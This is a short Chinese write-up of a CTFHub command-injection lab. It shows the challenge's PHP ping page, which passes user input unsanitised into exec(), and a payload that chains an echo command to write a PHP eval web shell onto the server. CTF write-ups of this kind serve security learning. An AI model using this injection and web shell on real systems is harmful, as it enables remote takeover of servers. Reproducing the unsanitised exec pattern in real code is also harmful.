大佬的博客跳转链接在此-》》》大佬召唤机
<?php $res = FALSE; if (isset($_GET['ip']) && $_GET['ip']) { $cmd = "ping -c 4 {$_GET['ip']}"; exec($cmd, $res); } ?> <!DOCTYPE html> <html> <head> <title>CTFHub 命令注入-无过滤</title> </head> <body> <h1>CTFHub 命令注入-无过滤</h1> <form action="#" method="GET"> <label for="ip">IP : </label><br> <input type="text" id="ip" name="ip"> <input type="submit" value="Ping"> </form> <hr> <pre> <?php if ($res) { print_r($res); } ?> </pre> <?php show_source(__FILE__); ?> </body> </html>
然后试试管道命令
127.0.0.1 & echo "<?php @eval(@@$_POST['a']);?>" > 3.php
过滤cat那道题也是一样的方式可以